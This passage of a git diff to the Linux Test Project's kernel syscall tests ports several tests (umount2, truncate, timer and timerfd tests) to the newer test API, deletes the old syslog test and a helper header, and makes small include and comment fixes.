- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	/* Check for nobody_uid user id */
-	if ((ltpuser = getpwnam("nobody")) == NULL) {
-		tst_brkm(TBROK, NULL, "nobody user id doesn't exist");
-	}
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -c option.
-	 */
-	TEST_PAUSE;
-}
-
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.test = run,
+	.setup = setup,
+	.needs_root = 1,
+	.tcnt = ARRAY_SIZE(tcases),
+};
diff --git a/testcases/kernel/syscalls/syslog/syslogtst.c b/testcases/kernel/syscalls/syslog/syslogtst.c
deleted file mode 100644
index 6950419..0000000
--- a/testcases/kernel/syscalls/syslog/syslogtst.c
+++ /dev/null
@@ -1,341 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2002
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/* 06/30/2001	Port to Linux	nsharoff@us.ibm.com */
-/* 11/22/2002	Port to Linux	dbarrera@us.ibm.com */
-
-#include <sys/types.h>
-#include <assert.h>
-#include <fcntl.h>
-#include <signal.h>
-#include <stdio.h>
-#include <syslog.h>
-#include <time.h>
-#include <unistd.h>
-#include "test.h"
-
-char *TCID = "syslogtst";
-int TST_TOTAL = 1;
-
-void sig_handler(int signal);
-
-int main(int argc, char *argv[])
-{
-	int status, flag3, fd, ch, ch1;
-	int exit_flag = 0;	/* used for syslog test case 6. */
-	time_t t;
-
-	ch1 = -1;
-
-	signal(SIGINT, sig_handler);
-	signal(SIGTERM, sig_handler);
-	signal(SIGHUP, sig_handler);
-	signal(SIGABRT, sig_handler);
-	signal(SIGSEGV, sig_handler);
-	signal(SIGQUIT, sig_handler);
-
-	time(&t);
-	srandom((unsigned int)getpid() ^
-		(((unsigned int)t << 16) | (unsigned int)t >> 16));
-
-	if (argc < 2) {
-		ch = (random() % 10) + 1;
-		if (ch == 2)
-			ch1 = random() % 8;
-		if (ch == 8)
-			ch1 = (random() % 5) + 1;
-		tst_resm(TINFO,
-			 "\nrandom numbers were generated for the case numbers : %d, %d\n",
-			 ch, ch1);
-	}
-
-	else if (argc == 2) {
-		ch = atoi(argv[1]);
-		if (ch == 2 || ch == 8) {
-			if (ch == 2)
-				ch1 = random() % 8;
-			if (ch == 8)
-				ch1 = (random() % 5) + 1;
-			tst_resm(TINFO,
-				 "\nrandom number was generated for case %d : %d\n",
-				 ch, ch1);
-		}
-	}
-
-	else {
-		ch = atoi(argv[1]);
-		if (argc > 2)
-			ch1 = atoi(argv[2]);
-	}
-
-	/* Ensure ch1 is properly allocated when ch == 2 or ch == 8. */
-	assert(!((ch == 2 || ch == 8) && ch1 == -1));
-
-	/*
-	 * Send syslog messages according to the case number, which
-	 * we will know from command line.
-	 */
-	switch (ch) {
-	case 1:
-		syslog(LOG_MAIL | LOG_INFO, "syslogtst: mail info test.");
-		break;
-	case 2:
-		switch (ch1) {
-		case 0:
-			syslog(LOG_MAIL | LOG_EMERG,
-			       "syslogtst: mail emerg test.");
-			break;
-		case 1:
-			syslog(LOG_MAIL | LOG_ALERT,
-			       "syslogtst: mail alert test.");
-			break;
-		case 2:
-			syslog(LOG_MAIL | LOG_CRIT,
-			       "syslogtst: mail crit test.");
-			break;
-		case 3:
-			syslog(LOG_MAIL | LOG_ERR, "syslogtst: mail err test.");
-			break;
-		case 4:
-			syslog(LOG_MAIL | LOG_WARNING,
-			       "syslogtst: mail warning test.");
-			break;
-		case 5:
-			syslog(LOG_MAIL | LOG_NOTICE,
-			       "syslogtst: mail notice test.");
-			break;
-		case 6:
-			syslog(LOG_MAIL | LOG_INFO,
-			       "syslogtst: mail info test.");
-			break;
-		case 7:
-			syslog(LOG_MAIL | LOG_DEBUG,
-			       "syslogtst: mail debug test.");
-			break;
-
-		}
-		break;
-	case 3:
-		openlog("SYSLOG_CASE3", LOG_PID, LOG_DAEMON);
-		syslog(LOG_DAEMON | LOG_INFO, "syslogtst: daemon info test.");
-		closelog();
-		break;
-	case 4:
-		openlog("log_pid_test", LOG_PID, LOG_USER);
-		syslog(LOG_USER | LOG_INFO, "syslogtst: user info test.");
-		closelog();
-		break;
-	case 5:
-		openlog("log_cons_test", LOG_CONS, LOG_USER);
-
-		/*
-		 * Move the /dev/syslog to /dev/syslog.tmp
-		 * This way we are forcing syslog to write messages to
-		 * console.
-		 */
-#ifdef DEBUG2
-		status =
-		    system
-		    ("/bin/mv -f /var/log/messages /var/log/messages.tmp");
-#else
-		status = 0;
-#endif
-		if (status == 0) {
-#ifdef DEBUG
-			tst_resm(TINFO,
-				 "/var/log/messages is moved to /var/log/messages.tmp...");
-#endif
-			flag3 = 1;
-		} else {
-			tst_brkm(TFAIL,
-				 NULL,
-				 "Cannot move /var/log/messages. Setup failed...exiting...");
-		}
-		sleep(10);
-
-		syslog(LOG_USER | LOG_INFO, "syslogtst: info to console test.");
-
-		sleep(10);
-		/*
-		 * Restore /dev/syslog file.
-		 */
-		if (flag3 == 1) {
-#ifdef DEBUG2
-			status =
-			    system
-			    ("/bin/mv -f /var/log/messages.tmp /var/log/messages");
-#else
-			status = 0;
-#endif
-			if (status != 0) {
-				tst_brkm(TFAIL,
-					 NULL,
-				         "Restoring /var/log/messages failed...");
-			}
-#ifdef DEBUG
-			else
-				tst_resm(TINFO, "/var/log/messages restored..");
-#endif
-		}
-		closelog();
-		break;
-	case 6:
-		openlog("without log_ndelay", LOG_PID, LOG_USER);
-		fd = open("/dev/null", O_RDONLY);
-#ifdef DEBUG
-		tst_resm(TINFO, "openlog() without LOG_NDELAY option...");
-#endif
-		if (fd >= 3) {
-#ifdef DEBUG
-			tst_resm(TINFO,
-				 "open() has returned the expected fd: %d", fd);
-#endif
-		} else {
-			tst_resm(TFAIL, "open() has returned unexpected fd: %d",
-				 fd);
-			exit_flag = 1;
-			close(fd);
-			closelog();
-			break;
-		}
-		close(fd);
-		closelog();
-
-		openlog("with log_ndelay", LOG_NDELAY, LOG_USER);
-		fd = open("/dev/null", O_RDONLY);
-#ifdef DEBUG
-		tst_resm(TINFO, "openlog() with LOG_NDELAY option...");
-#endif
-		if (fd <= 3) {
-			tst_resm(TFAIL, "open() returned unexpected fd: %d",
-				 fd);
-			exit_flag = 1;
-			close(fd);
-			closelog();
-			break;
-		}
-#ifdef DEBUG
-		else
-			tst_resm(TINFO, "open() has returned expected fd: %d",
-				 fd);
-#endif
-		close(fd);
-		closelog();
-		break;
-	case 7:
-		syslog(LOG_USER | LOG_EMERG, "syslogtst: emergency log");
-		syslog(LOG_USER | LOG_ALERT, "syslogtst: alert log");
-		syslog(LOG_USER | LOG_CRIT, "syslogtst: critical log");
-		syslog(LOG_USER | LOG_ERR, "syslogtst: error log");
-		syslog(LOG_USER | LOG_WARNING, "syslogtst: warning log");
-		syslog(LOG_USER | LOG_NOTICE, "syslogtst: notice log");
-		syslog(LOG_USER | LOG_INFO, "syslogtst: info log");
-		syslog(LOG_USER | LOG_DEBUG, "syslogtst: debug log");
-		break;
-	case 8:
-		switch (ch1) {
-			/*
-			 * Kernel messages cannot be send by user, so skipping the
-			 * LOG_KERN facility.
-			 */
-		case 1:
-			syslog(LOG_USER | LOG_INFO,
-			       "syslogtst: user info test.");
-			break;
-		case 2:
-			syslog(LOG_MAIL | LOG_INFO,
-			       "syslogtst: mail info test.");
-			break;
-		case 3:
-			syslog(LOG_DAEMON | LOG_INFO,
-			       "syslogtst: daemon info test.");
-			break;
-		case 4:
-			syslog(LOG_AUTH | LOG_INFO,
-			       "syslogtst: auth info test.");
-			break;
-		case 5:
-			syslog(LOG_LPR | LOG_INFO, "syslogtst: lpr info test.");
-			break;
-		}
-		break;
-	case 9:
-		setlogmask(LOG_UPTO(LOG_ERR));
-		syslog(LOG_USER | LOG_ERR, "syslogtst: error level is logged");
-		syslog(LOG_USER | LOG_WARNING,
-		       "syslogtst: warning level not to be logged");
-		break;
-	case 10:
-		setlogmask(LOG_MASK(LOG_ERR));
-		syslog(LOG_USER | LOG_ERR,
-		       "syslogtst:10 error level is logged");
-		syslog(LOG_USER | LOG_WARNING,
-		       "syslogtst:10 warning level not to be logged");
-		break;
-	}
-
-	/*
-	 * Check the exit_flag and if it is set,
-	 * exit with status 1, indicating failure.
-	 */
-	if (exit_flag == 1)
-		exit(1);
-	else
-		exit(0);
-
-}
-
-void sig_handler(int signal)
-{
-
-	switch (signal) {
-	case SIGINT:
-#ifdef DEBUG
-		tst_resm(TINFO, "SIGINT is received.");
-#endif
-		break;
-	case SIGTERM:
-#ifdef DEBUG
-		tst_resm(TINFO, "SIGTERM is received.");
-#endif
-		break;
-	case SIGHUP:
-#ifdef DEBUG
-		tst_resm(TINFO, "SIGHUP is received.");
-#endif
-		break;
-	case SIGABRT:
-#ifdef DEBUG
-		tst_resm(TINFO, "SIGABRT is received.");
-#endif
-		break;
-	case SIGSEGV:
-#ifdef DEBUG
-		tst_resm(TINFO, "SIGSEGV is received.");
-#endif
-		break;
-	case SIGQUIT:
-#ifdef DEBUG
-		tst_resm(TINFO, "SIGQUIT is received.");
-#endif
-		break;
-	}
-
-	exit(signal);
-}
diff --git a/testcases/kernel/syscalls/tee/tee01.c b/testcases/kernel/syscalls/tee/tee01.c
index db2ac1e..cee6ed7 100644
--- a/testcases/kernel/syscalls/tee/tee01.c
+++ b/testcases/kernel/syscalls/tee/tee01.c
@@ -11,7 +11,6 @@
 #include <string.h>
 #include <signal.h>
 #include <sys/types.h>
-#include <fcntl.h>
 
 #include "tst_test.h"
 #include "lapi/fcntl.h"
diff --git a/testcases/kernel/syscalls/tgkill/tgkill01.c b/testcases/kernel/syscalls/tgkill/tgkill01.c
index 37a4a33..04f06a6 100644
--- a/testcases/kernel/syscalls/tgkill/tgkill01.c
+++ b/testcases/kernel/syscalls/tgkill/tgkill01.c
@@ -122,7 +122,7 @@
 
 static struct tst_test test = {
 	.options = (struct tst_option[]) {
-		{"t:", &str_threads, "-t       Number of threads (default 10)"},
+		{"t:", &str_threads, "Number of threads (default 10)"},
 		{}
 	},
 	.needs_checkpoints = 1,
diff --git a/testcases/kernel/syscalls/tgkill/tgkill03.c b/testcases/kernel/syscalls/tgkill/tgkill03.c
index 0002f32..e46e95f 100644
--- a/testcases/kernel/syscalls/tgkill/tgkill03.c
+++ b/testcases/kernel/syscalls/tgkill/tgkill03.c
@@ -117,5 +117,4 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.test = run,
-	.timeout = 20,
 };
diff --git a/testcases/kernel/syscalls/timer_getoverrun/timer_getoverrun01.c b/testcases/kernel/syscalls/timer_getoverrun/timer_getoverrun01.c
index ec55884..aa9881f 100644
--- a/testcases/kernel/syscalls/timer_getoverrun/timer_getoverrun01.c
+++ b/testcases/kernel/syscalls/timer_getoverrun/timer_getoverrun01.c
@@ -57,7 +57,7 @@
 	ev.sigev_value = (union sigval) 0;
 	ev.sigev_signo = SIGALRM;
 	ev.sigev_notify = SIGEV_SIGNAL;
-	TEST(ltp_syscall(__NR_timer_create, CLOCK_REALTIME, &ev, &timer));
+	TEST(tst_syscall(__NR_timer_create, CLOCK_REALTIME, &ev, &timer));
 
 	if (TEST_RETURN != 0)
 		tst_brkm(TBROK | TTERRNO, cleanup, "Failed to create timer");
@@ -65,7 +65,7 @@
 	for (lc = 0; TEST_LOOPING(lc); ++lc) {
 		tst_count = 0;
 
-		TEST(ltp_syscall(__NR_timer_getoverrun, timer));
+		TEST(tst_syscall(__NR_timer_getoverrun, timer));
 		if (TEST_RETURN == 0) {
 			tst_resm(TPASS,
 			         "timer_getoverrun(CLOCK_REALTIME) Passed");
@@ -74,7 +74,7 @@
 			         "timer_getoverrun(CLOCK_REALTIME) Failed");
 		}
 
-		TEST(ltp_syscall(__NR_timer_getoverrun, -1));
+		TEST(tst_syscall(__NR_timer_getoverrun, -1));
 		if (TEST_RETURN == -1 && TEST_ERRNO == EINVAL) {
 			tst_resm(TPASS,	"timer_gettime(-1) Failed: EINVAL");
 		} else {
diff --git a/testcases/kernel/syscalls/timer_settime/timer_settime03.c b/testcases/kernel/syscalls/timer_settime/timer_settime03.c
index 4597bf7..a828f63 100644
--- a/testcases/kernel/syscalls/timer_settime/timer_settime03.c
+++ b/testcases/kernel/syscalls/timer_settime/timer_settime03.c
@@ -32,6 +32,8 @@
 static timer_t timer;
 static volatile int handler_called, overrun, saved_errno;
 
+static struct timespec realtime_resolution;
+
 static void sighandler(int sig LTP_ATTRIBUTE_UNUSED)
 {
 	struct itimerspec spec;
@@ -61,6 +63,11 @@
 
 	SAFE_SIGNAL(SIGUSR1, sighandler);
 	SAFE_TIMER_CREATE(CLOCK_REALTIME, &sev, &timer);
+
+	SAFE_CLOCK_GETRES(CLOCK_REALTIME, &realtime_resolution);
+
+	tst_res(TINFO, "CLOCK_REALTIME resolution %lins",
+	        (long)realtime_resolution.tv_nsec);
 }
 
 static void run(void)
@@ -81,9 +88,9 @@
 
 	/* spec.it_value = now - 1.4 * max overrun value */
 	/* IOW, overflow will land right in the middle of negative range */
-	spec.it_value.tv_sec -= handler_delay / 100000000;
+	spec.it_value.tv_sec -= (handler_delay / 100000000) * realtime_resolution.tv_nsec;
 	spec.it_value.tv_nsec -= nsec;
-	spec.it_interval.tv_nsec = 1;
+	spec.it_interval.tv_nsec = realtime_resolution.tv_nsec;
 
 	SAFE_TIMER_SETTIME(timer, TIMER_ABSTIME, &spec, NULL);
 	while (!handler_called);
@@ -115,10 +122,6 @@
 	.test_all = run,
 	.setup = setup,
 	.cleanup = cleanup,
-	.needs_kconfigs = (const char *[]) {
-		"CONFIG_HIGH_RES_TIMERS=y",
-		NULL
-	},
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "78c9c4dfbf8c"},
 		{"CVE", "2018-12896"},
diff --git a/testcases/kernel/syscalls/timerfd/timerfd02.c b/testcases/kernel/syscalls/timerfd/timerfd02.c
index c544406..9d2e3ff 100644
--- a/testcases/kernel/syscalls/timerfd/timerfd02.c
+++ b/testcases/kernel/syscalls/timerfd/timerfd02.c
@@ -54,7 +54,6 @@
 /*                      - Jan 08 2009 - Subrata <subrata@linux.vnet.ibm.com>  */
 /******************************************************************************/
 
-#include <fcntl.h>
 #include <stdio.h>
 #include <time.h>
 #include <unistd.h>
@@ -138,7 +137,7 @@
 	for (lc = 0; TEST_LOOPING(lc); ++lc) {
 		tst_count = 0;
 		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			fd = ltp_syscall(__NR_timerfd_create,
+			fd = tst_syscall(__NR_timerfd_create,
 				CLOCK_REALTIME, 0);
 			if (fd == -1) {
 				tst_brkm(TFAIL, cleanup,
@@ -155,7 +154,7 @@
 			}
 			close(fd);
 
-			fd = ltp_syscall(__NR_timerfd_create, CLOCK_REALTIME,
+			fd = tst_syscall(__NR_timerfd_create, CLOCK_REALTIME,
 				     TFD_CLOEXEC);
 			if (fd == -1) {
 				tst_brkm(TFAIL,
diff --git a/testcases/kernel/syscalls/timerfd/timerfd03.c b/testcases/kernel/syscalls/timerfd/timerfd03.c
index e288251..ca70d17 100644
--- a/testcases/kernel/syscalls/timerfd/timerfd03.c
+++ b/testcases/kernel/syscalls/timerfd/timerfd03.c
@@ -50,7 +50,6 @@
 /*              Ported to LTP                                                 */
 /*                      - Jan 13 2009 - Subrata <subrata@linux.vnet.ibm.com>  */
 /******************************************************************************/
-#include <fcntl.h>
 #include <stdio.h>
 #include <time.h>
 #include <unistd.h>
@@ -134,7 +133,7 @@
 	for (lc = 0; TEST_LOOPING(lc); ++lc) {
 		tst_count = 0;
 		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			fd = ltp_syscall(__NR_timerfd_create,
+			fd = tst_syscall(__NR_timerfd_create,
 				CLOCK_REALTIME, 0);
 			if (fd == -1) {
 				tst_brkm(TFAIL, cleanup,
@@ -151,7 +150,7 @@
 			}
 			close(fd);
 
-			fd = ltp_syscall(__NR_timerfd_create, CLOCK_REALTIME,
+			fd = tst_syscall(__NR_timerfd_create, CLOCK_REALTIME,
 				     TFD_NONBLOCK);
 			if (fd == -1) {
 				tst_brkm(TFAIL,
diff --git a/testcases/kernel/syscalls/timerfd/timerfd04.c b/testcases/kernel/syscalls/timerfd/timerfd04.c
index 4af91d6..eb7f98d 100644
--- a/testcases/kernel/syscalls/timerfd/timerfd04.c
+++ b/testcases/kernel/syscalls/timerfd/timerfd04.c
@@ -94,9 +94,9 @@
 
 	SAFE_WAIT(NULL);
 
-	if (tv->clock_gettime(CLOCK_MONOTONIC, tst_ts_get(&end))) {
+	if (tv->clock_gettime(tc->clk_id, tst_ts_get(&end))) {
 		tst_res(TFAIL | TERRNO, "clock_gettime(2) failed for clock %s",
-			tst_clock_name(CLOCK_MONOTONIC));
+			tst_clock_name(tc->clk_id));
 		return;
 	}
 
diff --git a/testcases/kernel/syscalls/timerfd/timerfd_settime02.c b/testcases/kernel/syscalls/timerfd/timerfd_settime02.c
index bd92ee9..84ce955 100644
--- a/testcases/kernel/syscalls/timerfd/timerfd_settime02.c
+++ b/testcases/kernel/syscalls/timerfd/timerfd_settime02.c
@@ -112,6 +112,7 @@
 	.cleanup = cleanup,
 	.min_kver = "2.6.25",
 	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.max_runtime = 150,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "1e38da300e1e"},
 		{"CVE", "2017-10661"},
diff --git a/testcases/kernel/syscalls/times/times03.c b/testcases/kernel/syscalls/times/times03.c
index c73fc0e..2712392 100644
--- a/testcases/kernel/syscalls/times/times03.c
+++ b/testcases/kernel/syscalls/times/times03.c
@@ -62,7 +62,7 @@
 	/*
 	 * At least some CPU time must be used in system space. This is
 	 * achieved by executing the times(2) call for
-	 * atleast 2 secs. This logic makes it independant
+	 * at least 2 secs. This logic makes it independent
 	 * of the processor speed.
 	 */
 	start_time = time(NULL);
diff --git a/testcases/kernel/syscalls/tkill/tkill01.c b/testcases/kernel/syscalls/tkill/tkill01.c
index edce2b0..15f2dfb 100644
--- a/testcases/kernel/syscalls/tkill/tkill01.c
+++ b/testcases/kernel/syscalls/tkill/tkill01.c
@@ -17,8 +17,8 @@
 
 #include <signal.h>
 
-#include "lapi/syscalls.h"
 #include "tst_test.h"
+#include "lapi/syscalls.h"
 
 static volatile sig_atomic_t sig_flag;
 
diff --git a/testcases/kernel/syscalls/tkill/tkill02.c b/testcases/kernel/syscalls/tkill/tkill02.c
index 63fa664..6cd6092 100644
--- a/testcases/kernel/syscalls/tkill/tkill02.c
+++ b/testcases/kernel/syscalls/tkill/tkill02.c
@@ -20,10 +20,9 @@
 #include <errno.h>
 #include <unistd.h>
 #include <signal.h>
-#include <sys/syscall.h>
 
-#include "lapi/syscalls.h"
 #include "tst_test.h"
+#include "lapi/syscalls.h"
 
 static pid_t unused_tid;
 static pid_t inval_tid = -1;
diff --git a/testcases/kernel/syscalls/truncate/truncate03.c b/testcases/kernel/syscalls/truncate/truncate03.c
index a9cd4b3..2607e7d 100644
--- a/testcases/kernel/syscalls/truncate/truncate03.c
+++ b/testcases/kernel/syscalls/truncate/truncate03.c
@@ -1,5 +1,6 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (c) Linux Test Project, 2001-2022
  * Copyright (c) International Business Machines  Corp., 2001
  * 07/2001 John George
  */
@@ -116,25 +117,7 @@
 {
 	struct test_case_t *tc = &test_cases[n];
 
-	TEST(truncate(tc->pathname, tc->length));
-	if (TST_RET == 0) {
-		tst_res(TFAIL, "truncate() succeeded when failure expected");
-		return;
-	}
-
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "truncate() returned invalid value %ld",
-			TST_RET);
-		return;
-	}
-
-	if (TST_ERR == tc->exp_errno) {
-		tst_res(TPASS | TTERRNO, "truncate() failed as expected");
-	} else {
-		tst_res(TFAIL | TTERRNO,
-			"truncate() failed unexpectedly; expected: %d - %s",
-			tc->exp_errno, strerror(tc->exp_errno));
-	}
+	TST_EXP_FAIL(truncate(tc->pathname, tc->length), tc->exp_errno);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/umount2/.gitignore b/testcases/kernel/syscalls/umount2/.gitignore
index 1d6a0e8..e2056bf 100644
--- a/testcases/kernel/syscalls/umount2/.gitignore
+++ b/testcases/kernel/syscalls/umount2/.gitignore
@@ -1,3 +1,2 @@
 /umount2_01
 /umount2_02
-/umount2_03
diff --git a/testcases/kernel/syscalls/umount2/umount2.h b/testcases/kernel/syscalls/umount2/umount2.h
deleted file mode 100644
index 65e4c24..0000000
--- a/testcases/kernel/syscalls/umount2/umount2.h
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see <http://www.gnu.org/licenses/>.
- */
-
-#ifndef UMOUNT2_H__
-#define UMOUNT2_H__
-
-static inline int umount2_retry(const char *target, int flags)
-{
-	int i, ret;
-
-	for (i = 0; i < 50; i++) {
-		ret = umount2(target, flags);
-
-		if (ret == 0 || errno != EBUSY)
-			return ret;
-
-		tst_resm(TINFO, "umount('%s', %i) failed with EBUSY, try %2i...",
-			 target, flags, i);
-
-		usleep(100000);
-	}
-
-	tst_resm(TWARN, "Failed to umount('%s', %i) after 50 retries",
-	         target, flags);
-
-	errno = EBUSY;
-	return -1;
-}
-
-#endif	/* UMOUNT2_H__ */
diff --git a/testcases/kernel/syscalls/umount2/umount2_01.c b/testcases/kernel/syscalls/umount2/umount2_01.c
index 46a6d59..53817bf 100644
--- a/testcases/kernel/syscalls/umount2/umount2_01.c
+++ b/testcases/kernel/syscalls/umount2/umount2_01.c
@@ -23,7 +23,6 @@
  */
 
 #include <errno.h>
-#include <sys/mount.h>
 
 #include "test.h"
 #include "safe_macros.h"
diff --git a/testcases/kernel/syscalls/umount2/umount2_02.c b/testcases/kernel/syscalls/umount2/umount2_02.c
index 7d558fa..f4b228f 100644
--- a/testcases/kernel/syscalls/umount2/umount2_02.c
+++ b/testcases/kernel/syscalls/umount2/umount2_02.c
@@ -1,182 +1,119 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2015 Fujitsu Ltd.
+ * Copyright (c) 2015-2022 FUJITSU LIMITED. All rights reserved
  * Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License
- * alone with this program.
  */
 
-/*
- * DESCRIPTION
- *  Test for feature MNT_EXPIRE of umount2().
- *  "Mark the mount point as expired.If a mount point is not currently
- *   in use, then an initial call to umount2() with this flag fails with
- *   the error EAGAIN, but marks the mount point as expired. The mount
- *   point remains expired as long as it isn't accessed by any process.
- *   A second umount2() call specifying MNT_EXPIRE unmounts an expired
- *   mount point. This flag cannot be specified with either MNT_FORCE or
- *   MNT_DETACH. (fails with the error EINVAL)"
+/*\
+ * [Description]
+ *
+ * Test for feature MNT_EXPIRE of umount2():
+ *
+ * - EINVAL when flag is specified with either MNT_FORCE or MNT_DETACH
+ * - EAGAIN when initial call to umount2(2) with MNT_EXPIRE
+ * - EAGAIN when umount2(2) with MNT_EXPIRE after access(2)
+ * - succeed when second call to umount2(2) with MNT_EXPIRE
+ *
+ * Test for feature UMOUNT_NOFOLLOW of umount2():
+ *
+ * - EINVAL when target is a symbolic link
+ * - succeed when target is a mount point
  */
 
-#include <errno.h>
-#include <sys/mount.h>
-
-#include "test.h"
-#include "safe_macros.h"
 #include "lapi/mount.h"
+#include "tst_test.h"
 
-#include "umount2.h"
+#define MNTPOINT        "mntpoint"
+#define SYMLINK	"symlink"
 
-#define DIR_MODE	(S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH)
-#define MNTPOINT	"mntpoint"
+#define FLAG_DESC(x, y) .flag = x, .exp_errno = 0, \
+	.desc = "umount2("y") with "#x" expected success"
 
-static void setup(void);
-static void test_umount2(int i);
-static void verify_failure(int i);
-static void verify_success(int i);
-static void cleanup(void);
-
-static const char *device;
-static const char *fs_type;
+#define FLAG_EXP_ERRNO_DESC(x, y, z) .flag = x, .exp_errno = y, \
+	.desc = "umount2("z") with "#x" expected "#y
 
 static int mount_flag;
 
-static struct test_case_t {
+static struct tcase {
 	int flag;
 	int exp_errno;
-	int do_access;
 	const char *desc;
-} test_cases[] = {
-	{MNT_EXPIRE | MNT_FORCE, EINVAL, 0,
-		"umount2(2) with MNT_EXPIRE | MNT_FORCE expected EINVAL"},
-	{MNT_EXPIRE | MNT_DETACH, EINVAL, 0,
-		"umount2(2) with MNT_EXPIRE | MNT_DETACH expected EINVAL"},
-	{MNT_EXPIRE, EAGAIN, 0,
-		"initial call to umount2(2) with MNT_EXPIRE expected EAGAIN"},
-	{MNT_EXPIRE, EAGAIN, 1,
-		"umount2(2) with MNT_EXPIRE after access(2) expected EAGAIN"},
-	{MNT_EXPIRE, 0, 0,
-		"second call to umount2(2) with MNT_EXPIRE expected success"},
+	const char *mntpoint;
+	int do_access;
+} tcases[] = {
+	{FLAG_EXP_ERRNO_DESC(MNT_EXPIRE | MNT_FORCE, EINVAL, ""), MNTPOINT, 0},
+	{FLAG_EXP_ERRNO_DESC(MNT_EXPIRE | MNT_DETACH, EINVAL, ""), MNTPOINT, 0},
+	{FLAG_EXP_ERRNO_DESC(MNT_EXPIRE, EAGAIN, "initial call"), MNTPOINT, 0},
+	{FLAG_EXP_ERRNO_DESC(MNT_EXPIRE, EAGAIN, "after access"), MNTPOINT, 1},
+	{FLAG_DESC(MNT_EXPIRE, "second call"), MNTPOINT, 0},
+	{FLAG_EXP_ERRNO_DESC(UMOUNT_NOFOLLOW, EINVAL, "symlink"), SYMLINK, 0},
+	{FLAG_DESC(UMOUNT_NOFOLLOW, "mntpoint"), MNTPOINT, 0},
 };
 
-char *TCID = "umount2_02";
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-int main(int ac, char **av)
+static int umount2_retry(const char *target, int flags)
 {
-	int lc;
-	int tc;
+	int i, ret;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	for (i = 0; i < 50; i++) {
+		ret = umount2(target, flags);
+		if (ret == 0 || errno != EBUSY)
+			return ret;
 
-	setup();
+		tst_res(TINFO, "umount('%s', %i) failed with EBUSY, try %2i...",
+			target, flags, i);
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, 0, NULL);
-		mount_flag = 1;
-
-		for (tc = 0; tc < TST_TOTAL; tc++)
-			test_umount2(tc);
-
-		if (mount_flag) {
-			if (tst_umount(MNTPOINT))
-				tst_brkm(TBROK, cleanup, "umount() failed");
-			mount_flag = 0;
-		}
+		usleep(100000);
 	}
 
-	cleanup();
-	tst_exit();
+	tst_res(TWARN, "Failed to umount('%s', %i) after 50 retries",
+		target, flags);
+
+	errno = EBUSY;
+	return -1;
+}
+
+static void test_umount2(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+
+	if (!mount_flag) {
+		SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, NULL);
+		mount_flag = 1;
+	}
+
+	tst_res(TINFO, "Testing %s", tc->desc);
+
+	if (tc->do_access)
+		SAFE_ACCESS(MNTPOINT, F_OK);
+
+	if (tc->exp_errno)
+		TST_EXP_FAIL(umount2_retry(tc->mntpoint, tc->flag), tc->exp_errno,
+			"umount2_retry(%s, %d)", tc->mntpoint, tc->flag);
+	else
+		TST_EXP_PASS(umount2_retry(tc->mntpoint, tc->flag),
+			"umount2_retry(%s, %d)", tc->mntpoint, tc->flag);
+
+	if (!!tc->exp_errno ^ !!TST_PASS)
+		mount_flag = 0;
 }
 
 static void setup(void)
 {
-	tst_require_root();
-
-	if ((tst_kvercmp(2, 6, 8)) < 0) {
-		tst_brkm(TCONF, NULL, "This test can only run on kernels "
-			 "that are 2.6.8 or higher");
-	}
-
-	tst_sig(NOFORK, DEF_HANDLER, NULL);
-
-	tst_tmpdir();
-
-	fs_type = tst_dev_fs_type();
-	device = tst_acquire_device(cleanup);
-
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to obtain block device");
-
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-
-	SAFE_MKDIR(cleanup, MNTPOINT, DIR_MODE);
-
-	TEST_PAUSE;
-}
-
-static void test_umount2(int i)
-{
-	/* a new access removes the expired mark of the mount point */
